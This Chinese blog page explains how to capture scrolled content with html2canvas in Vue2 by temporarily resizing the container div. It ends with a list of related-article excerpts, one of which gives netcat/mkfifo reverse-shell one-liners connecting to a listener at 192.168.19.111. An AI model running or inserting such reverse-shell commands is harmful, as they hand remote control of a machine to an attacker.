html2Canvas截图包含滚动条解决思路

概况描述

在项目中使用html2Canvas进行截图时发现无法截取滚动条部分,前端是使用vue2的版本,网上找了很多方式都没效果,冷静思考后,给出解决办法。

解决思路

当我们截取的div容器的宽和高与内部的子容器div的宽和高不一样时,内部div就会出现滚动条,因为我们截取的div与内部div的宽和高不一致,所以截取时只能截取我们定位的div,无法截取到滚动条部分。

在截取时将定位的div宽和高改为和内部div容器的宽和高一致,截取时就能包含滚动条部分,截取结束后将定位的div的宽和高恢复原来的值,让界面正常

图片展示 

  • 原来包含滚动条的界面

  •  html2Canvas截取的图片(未添加处理办法时)

  • 使用上面处理思路后的截图

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/562164.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

OSPF的学习笔记

1.OSPF (1)链路状态路由协议的路由信息并不是像距离矢量路由协议那样(邻居告诉的),通过收集自身以及邻居发出的LSA(原材料),并LSA放到指定仓库里面(LSDB),通过SPF算法,以自己为根计算到达网络每个节点的最优…

【Spring Boot】掌握Spring Boot:深入解析配置文件的使用与管理

💓 博客主页:从零开始的-CodeNinja之路 ⏩ 收录文章:【Spring Boot】掌握Spring Boot:深入解析配置文件的使用与管理 🎉欢迎大家点赞👍评论📝收藏⭐文章 目录 Spring Boot 配置文件一. 配置文…

第65天:API攻防-接口安全WebPackRESTSOAPWSDLWebService

目录 思维导图 前置知识 案例一:WebService 类-Wsdl&ReadyAPI-SQL 注入 案例二:SOAP 类-Swagger&SoapUI&EXP-信息泄露 案例三:HTTP 类-WebPack&PackerFuzzer-信息泄露 思维导图 前置知识 RPC接口: 登录游戏时候登录账号…

细说会话三剑客: Cookie、Session和Token

0. 必要性论证 在日常的开发中,不管是前端或者后端领域,都绕不开用户状态和会话的管理方面的内容。因此有必要理解清楚三种技术的基本原理和使用场景以及三者之间的区别,当然,在面试过程中,这也是一个很常见的基本面试…

毕业设计——基于ESP32的智能家居系统(语音识别、APP控制)

ESP32嵌入式单片机实战项目 一、功能演示二、项目介绍1、功能演示2、外设介绍 三、资料获取 一、功能演示 多种控制方式 ① 语音控制 ②APP控制 ③本地按键控制 ESP32嵌入式单片机实战项目演示 二、项目介绍 1、功能演示 这一个基于esp32c3的智能家居控制系统,能实…

InFusion:通过从扩散先验学习深度完成来修复3D高斯

InFusion: Inpainting 3D Gaussians via Learning Depth Completion from Diffusion Prior InFusion:通过从扩散先验学习深度完成来修复3D高斯 Zhiheng Liu * 刘志恒 *1144Hao Ouyang * 欧阳浩 *2233Qiuyu Wang 王秋雨33Ka Leong Cheng 郑家亮2233Jie Xiao 街小…

【已解决简单好用】notepad++怎么设置中文

打开Notepad软件。点击软件界面顶部菜单栏中的“Settings”选项。在下拉菜单中选择“Preferences”进行语言设置。在打开的设置窗口中,找到“General”选项。在“General”选项中,找到“Localization”(界面语言)项。在下拉菜单中…

磁性呼吸传感技术与机器学习结合在COVID-19审断中的应用

介绍 呼吸不仅是人类生存的基础,而且其模式也是评估个体健康状态的关键指标。异常的呼吸模式往往是呼吸系统疾病的一个警示信号,包括但不限于慢性阻塞性肺病(COPD)、阻塞性睡眠呼吸暂停(OSA)、肺炎、囊性纤…

python免费调用阿里云通义千问(q-wen-max)大模型API

文章目录 通义千问开通免费API Keypython调用阿里云通义千问API 通义千问 通义千问,是基于阿里巴巴达摩院在自然语言处理领域的研究和积累。采用更先进的算法和更优化的模型结构,能够更准确地理解和生成自然语言、代码、表格等文本。 支持更多定制化需…

自媒体个人品牌IP策划打造孵化运营方案

【干货资料持续更新,以防走丢】 自媒体个人品牌IP策划打造孵化运营方案 部分资料预览 资料部分是网络整理,仅供学习参考。 ppt可编辑(完整资料包含以下内容)目录个人IP孵化方案概要: 1. 目标定位与市场分析 - 女性…

二叉树链式结构的实现-二叉树的前序 中序 后序 层序遍历

一、二叉树的结构了解 二叉树是: 空树非空:根节点,根节点的左子树、根节点的右子树组成的。 前序: 根 左子树 右子树 --》先根 中序:左子树 根 右子树 --》中根 后序:左子树 右子树 根 --》后根 层序&…

kali /mac 成功的反弹shell语句

mac &#xff1a;192.168.19.107 kali:192.168.19.111 kali 监听mac : nc -lvvp 6666 mac执行&#xff1a; 1: mknod backpipe p && nc 192.168.19.111 6666 0<backpipe | /bin/bash 1>backpipe 2: rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&…

密钥密码学(一)

原文&#xff1a;annas-archive.org/md5/b5abcf9a07e32fc6f42b907f001224a1 译者&#xff1a;飞龙 协议&#xff1a;CC BY-NC-SA 4.0 前言 序言 从秘密解码环到政府政策声明&#xff0c;隐藏和发现信息的挑战长期以来一直吸引着智慧。密码学是一个引人入胜的主题&#xff0c;…

分享四月书单

Hello , 我是小恒。之后有物理服务器搭建和大容量高并发数据中心的需求&#xff0c;所以四月在写一些避坑方面的文章比较少&#xff0c;主在写一些基础入门和本地开发的操作。可能五一就开始组装调试上线&#xff0c;CSDN也马上获得后端优质创作者&#xff0c;不过遗憾的是&…

Matlab 使用subplot绘制多个子图,一元拟合

实现效果&#xff1a; clc; clear;filename sri.xlsx; % 确认文件路径data readtable(filename); datavalue data{:,2:end}; datavalue datavalue;fig figure(Position, [0, 0, 1500, 900]); indexString ["(a)","(b)","(c)","(d)&qu…

LinkedList和链表

1.ArrayList的缺陷 ArraryList由于底层是一段连续的空间&#xff0c;所以在ArrayList任意位置插入或者删除元素时&#xff0c;就 需要将后续元素往前或者往后搬移&#xff0c;时间复杂度为O(n)&#xff0c;效率比较低&#xff0c;因此ArrayList不适合做任意位置插入和删除比较…

Json三方库介绍

目录 Json是干什么的Json序列化代码Json反序列化代码 Json是干什么的 Json是一种轻量级的数据交换格式&#xff0c;也叫做数据序列化方式。Json完全独立于编程语言的文本格式来存储和表述数据。易于人阅读和编写&#xff0c;同时也易于机器解析和生成&#xff0c;并有效地提升…

Linux--进程间的通信-共享内存

前文&#xff1a; Linux–进程间的通信-匿名管道 Linux–进程间的通信–进程池 Linux–进程间的通信-命名管道 共享内存 对于两个进程&#xff0c;通过在内存开辟一块空间&#xff08;操作系统开辟的&#xff09;&#xff0c;进程的虚拟地址通过页表映射到对应的共享内存空间中…

# 从浅入深 学习 SpringCloud 微服务架构(三)注册中心 Eureka(3)

从浅入深 学习 SpringCloud 微服务架构&#xff08;三&#xff09;注册中心 Eureka&#xff08;3&#xff09; 段子手168 1、eureka&#xff1a;高可用的引入 Eureka Server 可以通过运行多个实例并相互注册的方式实现高可用部署&#xff0c; Eureka Server 实例会彼此增量地…

文件批量高效重命名,支持重命名后不满意恢复原名,高效管理文件

我们每天都会与大量的文件打交道&#xff0c;无论是工作文件、学习资料&#xff0c;还是生活照片、视频&#xff0c;都需要我们进行高效的文件管理。然而&#xff0c;传统的文件重命名方式往往效率低下&#xff0c;无法满足我们的需求。今天&#xff0c;我们为您带来了一款批量…